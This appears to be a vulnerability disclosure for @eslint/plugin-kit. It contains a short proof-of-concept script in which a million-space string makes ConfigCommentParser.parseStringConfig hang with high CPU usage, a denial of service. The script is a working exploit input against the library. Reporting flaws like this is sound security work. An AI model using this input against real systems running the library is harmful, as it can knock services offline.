Crafting a very large and well crafted string can increase the CPU usage and crash the program. ## POC ```js const { ConfigCommentParser } = require("@eslint/plugin-kit"); var str = ""; for (var i = 0; i < 1000000; i++) { str += " "; } str += "A"; console.log("start") var parser = new ConfigCommentParser(); console.log(parser.parseStringConfig(str, "")); console.log("end") // run `npm i @eslint/plugin-kit` and `node attack.js` // then the program will stuck forever with high CPU usage ```
